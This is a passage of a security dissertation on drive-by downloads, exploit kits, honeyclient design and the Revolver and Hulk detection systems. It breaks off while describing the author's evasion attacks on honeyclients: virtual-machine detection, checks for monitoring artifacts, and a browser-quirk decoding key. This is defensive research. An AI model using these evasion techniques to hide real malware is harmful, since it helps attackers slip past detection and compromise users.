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Abstract

Analyzing and Defending Against Evolving Web Threats

Alexandros Kapravelos

The browser has evolved from a simple program that displays static web pages into a

continuously-changing platform that is shaping the Internet as we know it today. The fierce

competition among browser vendors has led to the introduction of a plethora of features

in the past few years. At the same time, it remains the de facto way to access the Internet

for billions of users. Because of such rapid evolution and wide popularity, the browser has

attracted attackers, who pose new threats to unsuspecting Internet surfers.

In this dissertation, I present my work on securing the browser against current and

emerging threats. First, I discuss my work on honeyclients, which are tools that identify

malicious pages that compromise the browser, and how one can evade such systems. Then, I

describe a new system that I built, called Revolver, that automatically tracks the evolution of

JavaScript and is capable of identifying evasive web-based malware by finding similarities

in JavaScript samples with different classifications. Finally, I present Hulk, a system that

automatically analyzes and classifies browser extensions.
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Chapter 1

Introduction

Today the Internet plays an essential part in the lives of billions of people, who use the

Internet to find information, to communicate, or for entertainment. The browser has become

our portal to the Internet and it is so significant to our daily operations that it is coming

pre-installed in every modern operating system. Over the past two decades, the browser has

evolved significantly and it is the main element that drives innovation on the web. It even

affects our lives outside of the digital world, as many corporations use the browser as their

main platform to do business online, changing traditional business models that have lasted

for centuries.

With such an important role it was inevitable that miscreants would quickly get interested

in attacking the browser. There are three main reasons that make the browser attractive for

attackers: evolution, input, and connectivity. The browser is a unique piece of software that

evolves constantly. For example, Google’s browser Chrome has a new version released

every 6 weeks [36]. The input to the browser comes from its user in the form of a URL,
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Chapter 1. Introduction

which indicates the page that the user wants to visit. But to display that page, the browser

fetches third-party code that gets rendered locally, allowing this way the site developer to

manipulate the browser. More importantly, this happens over a network, which means that

the browser is not isolated on a disconnected machine, rather it is accessible via a network.

This gives attackers a great platform to abuse in many different ways, especially because it is

possible to profit from exploiting the browser and collecting valuable personal information.

In this dissertation I present my work on understanding in depth attacks that target the

browser and on building defenses to protect the users. I focus on two specific types of

attacks: drive-by downloads and malicious browser extensions. Drive-by downloads are

attacks that exploit a vulnerability in the browser or its plugins and gain full control of the

system by hijacking the browser’s execution flow. It is a way for the attacker to introduce

new binary code into the user’s system and compromise its security. Browser extensions are

small JavaScript/HTML programs that reside inside the browser and are limited in power.

Nevertheless, since browser extensions are capable of manipulating the browser and the

pages that the user visits, they are an effective tool to steal personal information and perform

other attacks.

2



Chapter 1. Introduction

1.1 Drive-by Downloads

Drive-by downloads have troubled both the academic community and the browser vendors

for more than a decade. They have been very successful, because the user does not need to

interact with them in any way: the user just needs to visit a page containing malicious code

to get infected. Because most people browse the web by clicking on any link that draws their

interest, it is not easy to avoid such pages, and, eventually, the browser is silently attacked.

There are three ways to deliver a drive-by download to an unsuspecting user. A drive-by

download can be hosted on a web server controlled by the attacker. To lure users to their

malicious sites, the attackers can promote their malicious links in many ways. For example,

links to malicious pages can be distributed leveraging social networks, by posting links in

the trending topics. Another way to attract users to malicious pages is by sending emails that

entice the user to click on the link. Malicious pages can also be returned in search results

because the attacker creates carefully crafted (and optimized) web pages that appear to be

related to very common, trending terms (this type of activity is also known as Black Hat

Search Engine Optimization, or Black Hat SEO).

Another way to deliver drive-by downloads is to compromise an already existing website

and infect the page’s source code. This requires the attacker to compromise the security of

the website by finding a vulnerability that allows the attacker to inject new or modify existing

web content. Once the site has been compromised, any user who visits the previously-benign
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Chapter 1. Introduction

website can be targeted by a drive-by download. While cleaning up a compromised site

is not difficult, finding and removing the underlying vulnerability can be challenging. If

the vulnerability is not removed, it allows the attacker to re-infect the vulnerable website.

Another benefit that comes to the attacker when he/she compromises an existing website is

that the domain that is now hosting malicious code has a previously good reputation, and,

therefore, it is less likely that the site will get blacklisted by software that protects against

drive-by downloads using reputation metadata. In addition, the attacker does not need to

attract users to the site, as the site has its own regular visitors.

Finally, one can serve drive-by downloads by taking advantage of the openness of the web.

A website has several external dependencies, such as script and iframe inclusions. These are

components of the site that load third-party code to enhance the browsing experience or to

monetize through advertisements. An attacker can either compromise the site that is hosting

the third-party code or register a malicious advertisement that ends up being served from a

benign website. These attacks are interesting because they do not rely on the security of

the website that the user is visiting but rather on the security of the dependencies that the

website has.

Anatomy of Drive-by Downloads. An attack against the browser starts once the

unsuspecting user visits a site containing malicious code. At that point, the specially crafted

page targets several vulnerabilities against the browser and its plugins. The first step of the

attack is to determine if the current browser configuration is vulnerable. If the software is

4



Chapter 1. Introduction

found to be vulnerable, then the malicious code will try to exploit the detected vulnerability.

These are often memory corruption bugs, such as buffer overflows or use-after-free flaws.

The attacker is able to hijack the execution flow of the browser by first introducing additional

executable code in the memory, for example through a JavaScript string variable, and then

using a vulnerability to direct the execution there. The new code segment that is injected in

the browser by the attacker is called shellcode, and, in drive-by downloads, it is used as the

first stage of the attack. Its role is to infect the victim’s machine with malware, persistently

compromising the system. The types of malware and what happens after the system is

compromised is out of the scope of this dissertation, as we focus on how a browser can be

compromised.

Exploit Kits. With such diverse population of Internet users, a malicious page needs

to support multiple client configurations in order to compromise a significant amount of

victims. For example, as of March 2015, there are still 1% of Internet users that have Internet

Explorer 6 [1], a Microsoft browser that was released in 2001 and was deprecated in 2011 [2].

This diversity of vulnerable targets leads to an interesting evolution of drive-by downloads

with the rise of tools that offer multiple attacks as a service, namely exploit kits. These

tools abstract the hard work of incorporating multiple exploits for several browsers or its

plugins and also hosting the malicious code on web servers. They come with a control

panel, as shown in Figure 1.1, where the customer can see statistics about its victims and

configure various parameters of the exploit kit. This configuration involves distributing

5
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Figure 1.1: Control panel of an exploit kit.

customized malware, often checked by the exploit kit to verify that it does not get detected

by any antivirus software. This evolution of providing drive-by downloads as a service

resulted in the commercialization of such attacks, where a novice attacker can deploy

sophisticated browser attacks without any knowledge on how to write an exploit targeting a

browser. Malwarebytes reports that two thirds of new malware they observe originates from

exploit kits [63], which underlines the importance of understanding such attacks and finding

effective ways to mitigate them.

Defenses. Analyzing a web page to determine if it contains malicious code that will

perform a drive-by download attack is not a trivial task. The attackers are deliberately crafting

the page in such a way so that their attack is not easily detectable. The malicious code is

often not directly located in the original page, but it is obfuscated and dynamically generated

6
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as the browser renders the page. This means that by observing the web page statically or as it

appears on the network, it is very hard to determine if it is malicious or not. In order to have

the full picture and all components of the page, an analysis system has to dynamically render

the page, so that all generated code is revealed. To do this, researchers have designed and

developed honeyclients, specially-crafted browsers that provide detailed information about

the actions performed by the code in a web page when it is rendered in the browser, and the

honeyclients are able to determine if the web page is malicious. Honeyclients are split into

two basic categories: high-interaction and low-interaction honeyclients.

High-interaction honeyclients resemble as much as they can a real client visiting web

pages. They use a real browser running on an operating system exactly as a user would, but

the system is enhanced so that it can detect any changes that are happening. By inspecting

the state of the system, high-interaction honeyclients can infer an infection by observing any

changes to the system, like unknown processes that are spawned after visiting a web page, or

by changes in the registry and the filesystem [70, 71, 81, 99, 106].

Part of this dissertation focuses on understanding the limitations of honeyclients. As

discussed in Chapter 3, there are several ways in which an attacker might be able to evade

a high-interaction honeyclient so that his/her attacks remain unnoticed. For example, the

attacker can choose to perform an in-memory attack, sacrificing persistence on the victim’s

system in favor of stealthiness. In fact, the Angler exploit kit has already demonstrated such

capabilities in 2014 [64].

7
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Low-interaction honeyclients are tools that provide deeper insight into what is happening

when a browser visits a web page. This can be achieved by emulating part or the whole

functionality of a browser, which gives significant flexibility into exporting enough infor-

mation from a page visit so that the system can accurately identify a drive-by download.

For example, an emulated browser could export all JavaScript variables, so that they can

be analyzed to detect the presence of binary code, something that should be encountered

only in a drive-by download. One significant drawback of low-interaction honeyclients is

the fact that they might diverge too much from a real browser. In fact, through our work

we found samples in the wild that take advantage specifically of the fact that their attack

code is being analyzed. In such cases, the samples were not identified correctly as malicious,

as the attack was never launched after detecting the presence of an analysis system. To

cope with this problem, we have developed a system called Revolver that is able to track the

evolution of JavaScript found in web pages. As further discussed in Chapter 5, by using

the classification results from an oracle and the similarity between scripts, we are able to

identify automatically evasive drive-by downloads.

1.2 Browser Extensions

We spend increasingly more time using browsers in our daily lives to perform sensitive

tasks such as banking, authoring documents, accessing our medical records, and interacting

8
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socially. Modern browsers support modification through extensions to make a user’s

interaction with the web easier, customizable, and to enable richer content. Browser

extensions are small JavaScript/HTML programs that reside inside the browser and have

access to a privileged browser API compared to websites. Through an extension the user

can change not only how a website appears, but also enhance the browsing experience with

additional client-side functionality. For example, one of the most popular extensions is

AdBlock, an extension that has a blacklist of domains and URL patterns of advertising

companies, and when browsing the web it removes the components of the visited pages

that match the blacklist, resulting in an ad-free browsing experience. The extensions do not

have unrestricted access to every page that the user is visiting, but in every browser there is

a permission model that they need to comply with. Similar to what happens with mobile

application stores, browser vendors maintain and control the available extensions through

extension stores, like Chrome’s Web Store.

Recently, we have encountered a shift in the attackers’ interests towards extensions, which

seems to be for practical and economical reasons: extensions are easy to write, as they

require less skill than writing a drive-by download. At the same time, they are very profitable,

as they can control the browser and the pages that the user is visiting. Interestingly, we have

seen users infected with malware where the malicious binary was side-loading a malicious

extension in the browser, because, by doing this, it is easier to manipulate the user’s browsing

experience. We have also found extensions installed by millions of users that performed
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malicious activities resulting in millions of US dollars in revenue for the extension authors.

Through the use of browser extensions, the attackers are able to perform malicious activities

without an exploit and gain access to powerful APIs and data available through the browser

extension platform. Malicious extensions can intercept HTTP requests, as well as modify

the functionality and appearance of all web content, which makes them very dangerous

when used by miscreants. To understand and mitigate this new threat against the browser,

we built a system called Hulk, presented in Chapter 5, that uses dynamic analysis techniques

to analyze browser extensions and identify those containing malicious functionality.

1.3 Contributions

In this dissertation, I make the following contributions to securing the browser:

• I study how high-interaction honeyclients work and identify major design flaws in how

drive-by downloads are currently detected. Several attacks that evade detection in four

popular high-interaction honeyclients were implemented.

• I built a system, called Revolver, that tracks the evolution of JavaScript. By leveraging

clustering and program analysis techniques applied to millions of JavaScript files, we are

able to automatically pinpoint previously-unknown evasion attacks.

• I built a system, called Hulk, that analyzes browser extensions and identifies malicious

ones. Our system is able to elicit malicious behavior from the browser extension by using

10
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novel techniques, such as HoneyPages and event handler fuzzing. Our work resulted in

removing extensions from Google’s Web Store that were affecting millions of users.

11



Chapter 2

Related Work

Drive-by downloads and the security implications of browser extensions have been

extensively studied in the literature. In this chapter, we will focus specifically on systems

that analyze attacks against the browser and how they can be evaded, how such evasive

web-based malware can be detected and what research has been done regarding browser

extensions.

2.1 Evading High-interaction Honeyclients

Our work is mainly related to the problems of identifying weaknesses in the defensive

systems designed to monitor and detect the execution of malicious programs, and of devising

attacks against them. Here, we will review the current state-of-the-art in these areas, focusing

in particular on systems that detect web-based and binary malware and on intrusion detection

tools.
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Web-based malware monitors. Attacks against high-interaction honeyclients have

been previously discussed. In particular, Wang et al. discuss three avenues to evade their

HoneyMonkey system [106]: (i) identifying HoneyMonkey machines (based on detecting

their IP addresses, by testing whether the browser is driven by a human, or by identifying the

presence of a virtual machine or the HoneyMonkey code itself); (ii) running exploits that do

not trigger HoneyMonkey’s detection (e.g., by using time delays); and (iii) randomizing the

attack (trading off infection rates for detection rates).

We build on and extend this research in several ways. First, we have implemented the

aforementioned attacks and confirmed that they are (still) effective against all current,

publicly-available honeyclient systems. Second, we introduce and discuss in detail novel

attacks against high-interaction honeyclients, with the goal of providing simple and practical

implementations. Finally, we discuss the design trade-offs of these attacks. For example,

we show how to detect the presence of a honeyclient from a page’s JavaScript and from an

exploit’s shellcode. JavaScript-based attacks have more limited capability because they are

restricted by the JavaScript security model (e.g., they cannot be used to detect hooks in the

memory of a process), but they are more difficult to detect by current honeyclients, because

they do not cause any changes on the attacked system (e.g., no new file is created and no

exploit is launched).

We also note that Wang’s paper concludes its discussion of possible countermeasures

by introducing the Vulnerability-Specific Exploit Detector (VSED), a tool that checks the
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browser with vulnerability-specific predicates to determine when an attack is about to trigger

a vulnerability. VSED presents a significant deviation from the traditional state-change-

based approach for detecting drive-by-download attacks. In fact, while state-change-based

approaches focus on detecting the consequences of a successful drive-by-download, VSED

attempts to detect the actual exploitation.

Some of the attacks identified in [106] have become standard in several drive-by-download

toolkits. In particular, it is common for these kits to launch an attack only once per visiting

client IP [82], to only attack clients coming from specific geographic regions (determined on

the basis of GeoIP location data) [13], and to avoid attacking IPs known to belong to security

researchers and security companies [42]. Another attack against detection tools used by

some drive-by-download campaigns consists of waiting for some minimal user interaction

before launching the exploit. For example, the JavaScript code used by Mebroot triggers

only when the user clicks on a page’s link or releases the mouse anywhere on the page.

Malware sandboxes. Binary malware is a significant security threat, and, consequently,

a large body of work exists to analyze and detect malicious code. Currently, the most

popular approach for malware analysis relies on dynamic analysis systems, often called

sandboxing [6,11,21,46,78,100]. A sandbox is an instrumented execution environment that

runs a potentially malicious program, while monitoring its interactions with the operating

system and other hosts. Similar to honeyclients, malware sandboxes execute unknown code

and determine its maliciousness based on the analysis of its behavior.

14



Chapter 2. Related Work

Since system emulators and virtual machines are commonly employed to implement

sandboxes, malware authors have developed a number of techniques to identify them (and,

in turn, avoid the detection of the monitoring system). For example, a number of instructions

have been identified that behave differently on a virtualized or emulated environment

than on a real machine [29, 65, 79, 85, 94]. This has led researchers to design monitoring

systems that are transparent to malware checks (i.e., that cannot be easily distinguished

from regular hosts), by either removing artifacts of regular monitoring tools [59] or by

introducing mechanisms (such as virtualization and dynamic translation) that by design

remain transparent to a wider range of checks [23, 103].

Another class of attacks against a malware sandbox consists of detecting, disabling, or

otherwise subverting its monitoring facilities. These threats have prompted researchers to

experiment with new designs for monitoring systems, in which the monitoring components

are protected by isolating them from the untrusted monitored environment through hardware

memory protection and virtualization features (“in-VM” designs) [97] or by removing them

from the monitored environment (“out-of-VM” designs) [45].

In this dissertation we dissect the monitoring and isolation mechanisms employed in

high-interaction honeyclients. As we will see in Chapter 3, many of the approaches currently

used are vulnerable to attacks similar to those devised against malware monitoring systems.

Intrusion detection systems. Our work continues the line of research on attacking tools

designed to detect malicious activity, in particular, intrusion detection systems (IDSs). A
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few notable results include Ptacek and Newsham’s attacks against network IDSs [83], Fogla

and Lee’s evasion attacks against anomaly-based IDSs [31], Vigna et al.’s approach to evade

signature-based IDSs [104], and Van Gundy et al.’s “omission” attack against signature

generation tools for polymorphic worms [102]. Our research identifies high-interaction

honeyclients as a new, important target for offensive techniques, and shows weaknesses in

several popular implementations.

2.2 Detecting Evasive Web-based Malware

Detection of evasive code. The detection of code that behaves differently when run in an

analysis environment than when executed on a regular machine is a well-known problem in

the binary malware community. A number of techniques have been developed to check if a

binary is running inside an emulator or a virtual machine [29,85,94]. In this context, evasive

code consists of instructions that produce different results or side-effects on an emulator

and on a real host [66, 79]. The original malware code is modified to run these checks: if

the check identifies an analysis system, the code behaves in a benign way, thus evading

detection.

Researchers have dealt with such evasive checks in two ways. First, they have designed

systems that remain transparent to a wide range of malware checks [24, 103]. Second, they

have developed techniques to detect the presence of such checks, for example by comparing
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the behavior of a sample on a reference machine with that obtained by running it on an

analysis host [8, 47, 58].

Similar to the case of evasions against binary analysis environments, the results produced

by honeyclients (i.e., the classification of a web page as either malicious or benign) can be

confused by sufficiently-sophisticated evasion techniques. Honeyclients are not perfect and

attackers have found ways to evade them [48, 86, 106]. For example, malicious web pages

may be designed to launch an exploit only after they have verified that the current visitor

is a regular user, rather than an automated detection tool. A web page may check that the

visitor performs some activity, such as moving the mouse or clicking on links, or that the

browser possesses the idiosyncratic properties of commonly-used modern browsers, rather

than being a simple emulator. If any of these checks are not satisfied, the malicious web page

will refrain from launching the attack, and, as a consequence, will be incorrectly classified as

benign, thus evading detection.

The problem of evasive code in web attacks has only recently been investigated. Kolbitsch

et al. [52] have studied the “fragility” of malicious code, i.e., its dependence for correct

execution on the presence of a particular execution environment (e.g., specific browser and

plugin versions). They report several techniques used by malicious code for environment

matching: some of these techniques may well be used to distinguish analysis tools from

regular browsers and evade detection. They propose ROZZLE, a system that explores multi-

ple execution paths in a program, thus bypassing environment checks. Rozzle only detects
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fingerprinting that leverages control flow branches and depends upon the environment.

It can be evaded by techniques that do not need control-flow branches, e.g., those based

on browser or JavaScript quirks. For example, the property window.innerWidth

contains the width of the browser window viewport in Firefox and Chrome, and is un-

defined in Internet Explorer. Therefore, a malicious code that initialized a decoding key

as xorkey=window.innerWidth*0+3 would compute a different result for xorkey in Fire-

fox/Chrome (3) and IE (Not a Number error), and could be used to decode malicious code in

specific browsers. Rozzle will not trigger its multi-path techniques in such cases and can be

evaded.

Revolver takes a different approach to identifying evasive code in JavaScript programs.

Instead of forcing an evasive program to display its full behavior (by executing it in parallel

on a reference host and in an analysis environment [8], or by forcing the execution through

multiple, interesting paths [52]), it leverages the existence of two distinct but similar pieces

of code and the fact that, despite their similarity, they are classified differently by detection

tools. In addition, Revolver can precisely and automatically identify the code responsible for

an evasion.

JavaScript code analysis. In the last few years, there have been a number of approaches

to analyzing JavaScript code. For example, Prophiler [14] and ZOZZLE [19] have used

characteristics of JavaScript code to predict if a script is malicious or benign. ZOZZLE, in
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particular, leverages features associated with AST context information (such as, the presence

of a variable named scode in the context of a loop), for its classification.

Cujo [91] uses static and dynamic code features to identify malicious JavaScript programs.

More precisely, it processes the static program and traces of its execution into q-grams that

are classified using machine learning techniques.

Revolver performs the core of its analysis statically, by computing the similarity between

pairs of ASTs. However, Revolver also relies on dynamic analysis, in particular to obtain

access to the code generated dynamically by a script (e.g., via the eval() function), which

is a common technique used by obfuscated and malicious code.

Code similarity. The task of automatically detecting “clones,” i.e., segments of code that

are similar (according to some notion of similarity), is an established line of work in the

software engineering community [80, 93]. Unfortunately, many of the techniques developed

here assume that the code under analysis is well-behaved or at least not adversarial, that is,

not actively trying to elude the classification. Of course, this assumption does not hold when

examining malicious code.

Similarity between malicious binaries has been used to quickly identify different variants

of the same malware family. The main challenge in this context is dealing with extremely

large numbers of samples without source code and large feature spaces from runtime data.

Different techniques have been proposed to overcome these issues: for example, Bayer et
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al. [10] rely on locality sensitive hashing to reduce the number of items to compare, while

Jong et al. [44] use feature hashing to reduce the number of features.

As a comparison, Revolver aims not only to identify pieces of JavaScript code that

are similar, but also to understand why they differ and especially if these differences are

responsible for changing the classification of the sample.

2.3 Analyzing Browser Extensions

Browser extensions have been available for Internet Explorer and Firefox for over a decade.

As a result of a study of vulnerabilities in Firefox extensions, Barth et al. designed an

extension architecture that promotes least privilege and isolation of components to prevent a

compromised extension from gaining full access to a user’s browser [9], an architecture

subsequently adopted by Google Chrome. Since then, further work has examined the success

of the Chrome extension architecture at preventing damage [15] and the ability of developers

to correctly request privileges for their extensions [28]. Similar studies have examined the

Firefox extension system to limit the potential damage arising from exploitation of extension

vulnerabilities, and to improve the defenses the browser provides [98]. These works have a

focus mostly tangential to our work, since the principle of least privilege does not prevent an

overtly malicious extension from executing malicious code.
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The security industry has documented malicious extensions in ways similar to malware

reports and other new threats [4, 7]. Liu et al. examined Google Chrome extensions and,

based on malicious extensions the authors built, suggested refined privileges to make

detecting malicious extensions easier [60]. In our work, we build a system that performs

dynamic analysis and classification of extensions and present an analysis of malicious

extensions that we found in the wild.

JavaScript-based program analysis has particular promise for benefiting our work, and

in light of our current limitations we will be exploring techniques that we can adapt to

improve our system’s detection capabilities. Research has applied information flow analysis

to Firefox extensions [22], performed taint-based tracking of untrusted data within the

browser [25], used symbolic execution to detect vulnerabilities [95], applied static verifica-

tion to extensions [40], contained extensions in privacy-preserving environments [57], and

used supervised learning of browser memory profiles to detect privacy-sensitive events [35].

Our work has similarities to that of other malware detection and execution systems.

While our implementation and requirements significantly differ from systems that execute

Windows binary malware (such as Anubis [6]), at a high level we share common goals of

executing and extracting data from samples. Like Anubis, Wepawet, the GQ honeyfarm, and

other malware execution platforms, we share the difficult problem of triggering malicious

behavior in a synthetic environment [18, 55]. Other research in this area have focused on

classification and discerning malware from goodware [87].
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Evading High-Interaction Honeyclients

First,we examine the security model that high-interaction honeyclients use and evaluate

their weaknesses in practice. By analyzing in depth how these analysis systems work we

show in this chapter multiple ways that a miscreant can use to craft evasive attacks and avoid

detection.

Drive-by-download attacks are one of the most pervasive threats on the web, and past

measurements have found millions of malicious web pages [12, 81]. In addition, studies

have shown that a large portion of the online population uses software that is vulnerable to

the exploits used in drive-by-download attacks [32].

A primary line of defense against drive-by-download attacks consists of detecting web

pages that perform such attacks and publishing their addresses on blacklists. Then, browsers

can consult these blacklists and block requests to pages that are known to be malicious. This

mechanism is currently used in all major browsers, typically by querying Google’s Safe

Browsing API or Microsoft’s SmartScreen Filter [37, 67].
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The approach used in high-interaction honeyclients focuses on detecting the side-effects

of a successful exploit (i.e., the changes to the underlying system), rather than detecting the

exploit itself, an approach that some refer to as detection” [106]. While this approach has

merits (e.g., it provides very convincing evidence of the maliciousness of a detected page), it

also creates an opportunity to attack the detection system. More precisely, an attacker can

use the window between the launching of an exploit and the execution of its actual drive-by

component (whose effects are detected by a high-interaction honeyclients) to attack and

evade the honeyclient.

In this chapter, the security model of high-interaction honeyclients is put under the

microscope and its weaknesses are evaluated in practice. More precisely, we first review

high-interaction honeyclients in general, discussing different possible designs and their

security properties. We then introduce a number of possible attacks that leverage weaknesses

in the design of high-interaction honeyclients to evade their detection. Finally, we implement

these attacks and test them against four popular, well-known implementations of high-

interaction honeyclients. Our attacks allow malicious web pages to avoid being detected

by a high-interaction honeyclient, while continuing to be effective against regular visitors.

Some of these attacks have been previously described; nevertheless, we show concrete

implementations that successfully bypass well-known, commonly-used honeyclient tools.

In addition, we introduce three novel honeyclient attacks (JavaScript-based honeyclient

detection, in-memory execution, whitelist-based attacks) that enable us to detect the presence

23



Chapter 3. Evading High-Interaction Honeyclients

of a high-interaction honeyclient or to perform a drive-by-download without triggering the

honeyclient’s detection mechanisms.

We also note that it is relatively easy to retrofit existing drive-by-download toolkits

with the evasion techniques that we present here. This makes their impact even more

worrisome, and it increases the urgency for implementing adequate defensive mechanisms

in high-interaction honeyclients.

3.1 Honeyclients

High-interaction honeyclients use a full-featured web browser to visit potentially malicious

web pages. The environment in which the browser runs is monitored to determine if the

visit resulted in the system being compromised. In particular, the honeyclient records all

the modifications that occur during the visit of a page, such as files created or deleted,

registry keys modified, and processes launched. If any unexpected modification occurs, this

is considered as the manifestation of an attack, and the corresponding page is flagged as

malicious.

In this section, we first describe the security requirements for honeyclients. Then,

we discuss the key design choices in the development of honeyclients, and we conclude

examining in detail a specific honeyclient implementation.
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Figure 3.1: Malicious code interaction with the Honeyclient system.

3.1.1 Security requirements for high-interaction honeyclients

An ideal honeyclient system would be capable of detecting all the malicious web pages

that it visits. There are three general reasons that may cause a missed detection: 1) the

honeyclient is not exploitable, thus the attack performed by the malicious web page is not

successful; 2) the honeyclient is incapable of monitoring the changes caused by a successful

attack, thus the attack is not detected; and 3) the presence of the honeyclient is detected by

the malicious pages, thus the attack is not run.

The first issue (the honeyclient must be vulnerable) can be addressed through careful

configuration of the honeyclient system. Old, vulnerable versions of browsers and operating

systems are used, and a large number of additional components (plugins and ActiveX)
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are installed on the system, to maximize the possibility of successful exploits1. Even if

this configuration is a complex task, in the rest of this chapter, we will assume that the

honeyclient system is vulnerable to at least one of the exploits launched by a malicious page.

Second, effective monitoring requires that the monitoring facilities used by the honeyclient

system cannot be bypassed by an attack. The well-known reference monitor concept [43]

describes a set of requirements that security mechanisms must enforce to prevent tampering

from the attacker and to ensure valid detection of the malicious activity:

Provide complete mediation: The monitoring mechanism must always be invoked, when

a potentially malicious URL is tested on the system. It is essential in the case of

honeyclients that the mechanism is able to detect all the possible changes that a successful

attack could produce on the targeted system.

Be tamperproof: The monitoring mechanism should not be susceptible to tampering. For

the honeyclient, this means that the malicious code should not be able to affect it in any

way. For example, if the malicious code were able to kill the monitoring process or to

blame another URL for the malicious activity, the reference monitor would be useless.

Be verifiable: The monitoring mechanism should be easy to verify for completeness and

correctness. Unfortunately, this might not be an easy task, given the complexity of today’s

1In [18] we showed that this approach has some inherent limitations, as there is a large number of vulnerable
plugins, some of which may be incompatible with each other. Therefore, it may be impractical to create an
environment that is vulnerable to all known attacks.
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honeyclients, which include large operating systems (e.g., Windows) and applications

(browsers).

A third venue of evasion is related to the transparency [33] of a high-interaction

honeyclient. The honeyclient system should be indistinguishable from a regular host, to

prevent malicious web pages from behaving differently inside a monitoring environment

than on a real host.

3.1.2 Design choices for high-interaction honeyclients

Given the requirements described above, there are a few important design choices that can

be made when developing a high-interaction honeyclient.

A first design choice is the placement of the monitoring mechanism inside or outside

the guest environment executing the browser process. This “in-VM” vs. “out-of-VM”

choice is a well-known and widely-discussed aspect of any malware analysis environment.

Developing the monitoring mechanisms within the guest operating system greatly simplifies

the architecture of the system, but, at the same time, makes the system vulnerable to detection,

as the artifacts that implement the monitoring infrastructure cohabitate with the malicious

code. By implementing the monitor at the kernel-level it is possible to better control access

to the monitoring artifacts (drivers, processes, etc.) However, this is at the cost of increased

complexity. In addition, there exist honeynet vulnerable configurations in which the code
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that attacks the browser is able to gain access to kernel-level data structures. In this case it

might be hard to hide the presence of the monitoring artifact from the malicious code.

We believe that a more appropriate model for honeyclients requires that the monitoring

system is completely isolated from the environment. By moving the inspection of the

potentially malicious code outside the virtual machine we guarantee that the attacker cannot

tamper with the system. In practice, this is not trivial to implement and there are several

obstacles to overcome, in order to have a deep insight of the program’s execution inside the

guest OS without compromising speed. We discuss in more detail the practical implications

of running the monitoring system inside a virtual machine in Section 3.4, and we propose

several methods on how to overcome the limitations of this approach.

Another design choice is the type and granularity of monitoring. This is a challenge

especially in Windows-based system, because the Windows OS has a very large number

of mechanisms for interacting with processes, injecting code, modifying files, etc. and

therefore it is not easy to create a monitoring infrastructure that is able to collect the right

type of events. This challenge is sometimes simplistically solved by collecting information

about the surrounding environment only after the execution of a web page has terminated.

By doing so, it is possible to determine if permanent damage has been caused to the guest

OS. However, as it will be described later, there are situations in which attacks might not

cause side-effects that are detectable.
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Figure 3.2: Capture-HPC Architecture

3.1.3 Honeyclients in practice

In this section, we provide a brief discussion of the general architecture and mode of

operation of high-interaction honeyclients. As an example, we use Capture-HPC [99], a very

popular, open-source honeyclient. To determine whether a URL is suspicious, Capture-HPC

visits this URL with a browser (typically, Internet Explorer) that runs in an instrumented

virtual machine.

In Figure 3.2, a more detailed overview of the architecture of Capture-HPC is shown. The

system design follows a client-server model. The server component manages a number

of clients and communicates with a VMware Server process to launch new, clean virtual
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machine instances. Each client component is running inside one of these virtual machines.

The client consists of a controller and three kernel modules to monitor file, registry, and

process events, respectively. The controller receives a list of URLs from the server and opens

a web browser to visit them. When a URL is visited, the kernel modules record all events that

are related to the browser (by matching events against the process ID of the browser). The

controller then checks the recorded events against a whitelist. This whitelist stores events

that are “normal” for the execution of the browser, such as writes to the browser’s cache.

When events occur that are not filtered by the whitelist, the controller reports these events,

together with the URL that triggered them, back to the server. Note that, for performance

reasons, Capture-HPC is also capable of spawning multiple browser instances inside the

same virtual machine, in order to process URLs in parallel.

In principle, all high-interaction honeyclients share an architecture that is very similar

to the one described here. These systems are all based on virtual machine technology

to revert to a clean state when a honeyclient instance gets compromised, and they use a

client-server model to provide a URL feed and to detect suspicious activity. For example,

HoneyClient [69] uses a stand-alone version of Capture-HPC’s client as its detection

component. Web Exploit Finder (WEF) [74] works in a way similar to Capture-HPC, but

instead of using kernel modules for monitoring, the system hooks directly into the System

Service Dispatch Table (SSDT) to intercept system calls. Finally, Shelia [92] takes a slightly
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different monitoring approach. Instead of hooking at the kernel level, it directly hooks

interesting Windows API function calls inside the browser process.

As it clear from this discussion, real-world, state-of-the-art honeyclients do not satisfy the

security requirements described at the beginning of this section. First of all, they all lack

transparency. All the available honeyclients operate within the guest VM, and, therefore,

they can easily be detected, by looking at specific artifacts. Second, they are not tamperproof,

as in a number of cases these tools can be disabled by the same malicious page that they

are analyzing. Third, real-world honeyclients do not provide complete mediation. There

are situations in which certain operations performed by the malicious web page can have a

negative impact on the security of the browser’s environment but are not monitored by the

system.

Attacks that explicitly exploit these weaknesses are the subject of the next section.

3.2 Attacks Against Honeyclients

In this section, we describe techniques that an attacker can mount against a honeyclient

system. The ultimate goal of the attacker is to avoid the detection of malicious activity

while her URL is visited. This can be done by in two ways: (i) the attack code can detect

the presence of the monitoring system and perform only benign activities, or (ii) the attack

code is run in such a way that it will avoid detection. That is, the attack does not generate
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any events that are considered malicious (e.g., no new processes are spawned and no

suspicious files or registry keys are accessed). We implemented several attacks and tested

their effectiveness against the four popular honeyclients described in the previous section:

Capture-HPC, HoneyClient, Shelia, and WEF. For this test, we selected a buffer overflow

exploit [20] that is served in a drive-by-download via Metasploit. The victim images (the

honeypots) were running Windows XP with Service Pack 2 and a vulnerable version of

Internet Explorer 7. We first verified that each of the four honeypots correctly detect the

attack. Then, we modified the drive-by exploit to implement each of the evasion attacks that

are described below, and we checked whether the technique was successful in preventing (or

evading) detection.

3.2.1 Fingerprinting the environment

A honeyclient system should not be differentiable from a true victim. If the attacker is able

to detect the presence of a monitoring system, then the malicious code will compromise true

victims but will perform only benign actions inside the honeypot.

Virtual machine detection. Due to the fact that many real-world drive-by attacks install

malware that tampers with the operating system, most honeyclients make use of virtual

machines. This way, a honeyclient can ensure that any change to the system will be reverted

back to a safe state through the use of virtual machine snapshots. Although virtual machines

make a honeyclient system immune to the attacks that it monitors, there is a drawback: the
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attacker has the opportunity to detect the presence of the virtual machine and, when a VM is

detected, conclude that the exploit code is running inside a monitored environment.

There are many known methods that can detect if code is running inside a VMware

virtual machine [29, 51, 84]. By using one of these techniques, the adversary can perform a

check that her code is not inside a virtualized environment. Since all the tested honeyclients

make use of VMware, we have chosen the ScoopyNG checks [51] as our method to detect

reliably the presence of virtual machines in practice. Although one can argue that there is an

increasing tendency to use virtual machines by moving parts of applications to the cloud, we

argue that regular end users do not browse the web through a VM. Rather, the normal case is

to run the browser in a non-virtualized environment.

Honeyclient detection. Another way to detect the presence of a monitoring system is to

check for artifacts of the honeyclient itself. For example, the attacker can detect the presence

of Capture-HPC and HoneyClient by looking in the file system for the CaptureClient.exe

binary, by checking whether specific kernel modules are loaded, or by looking for the active

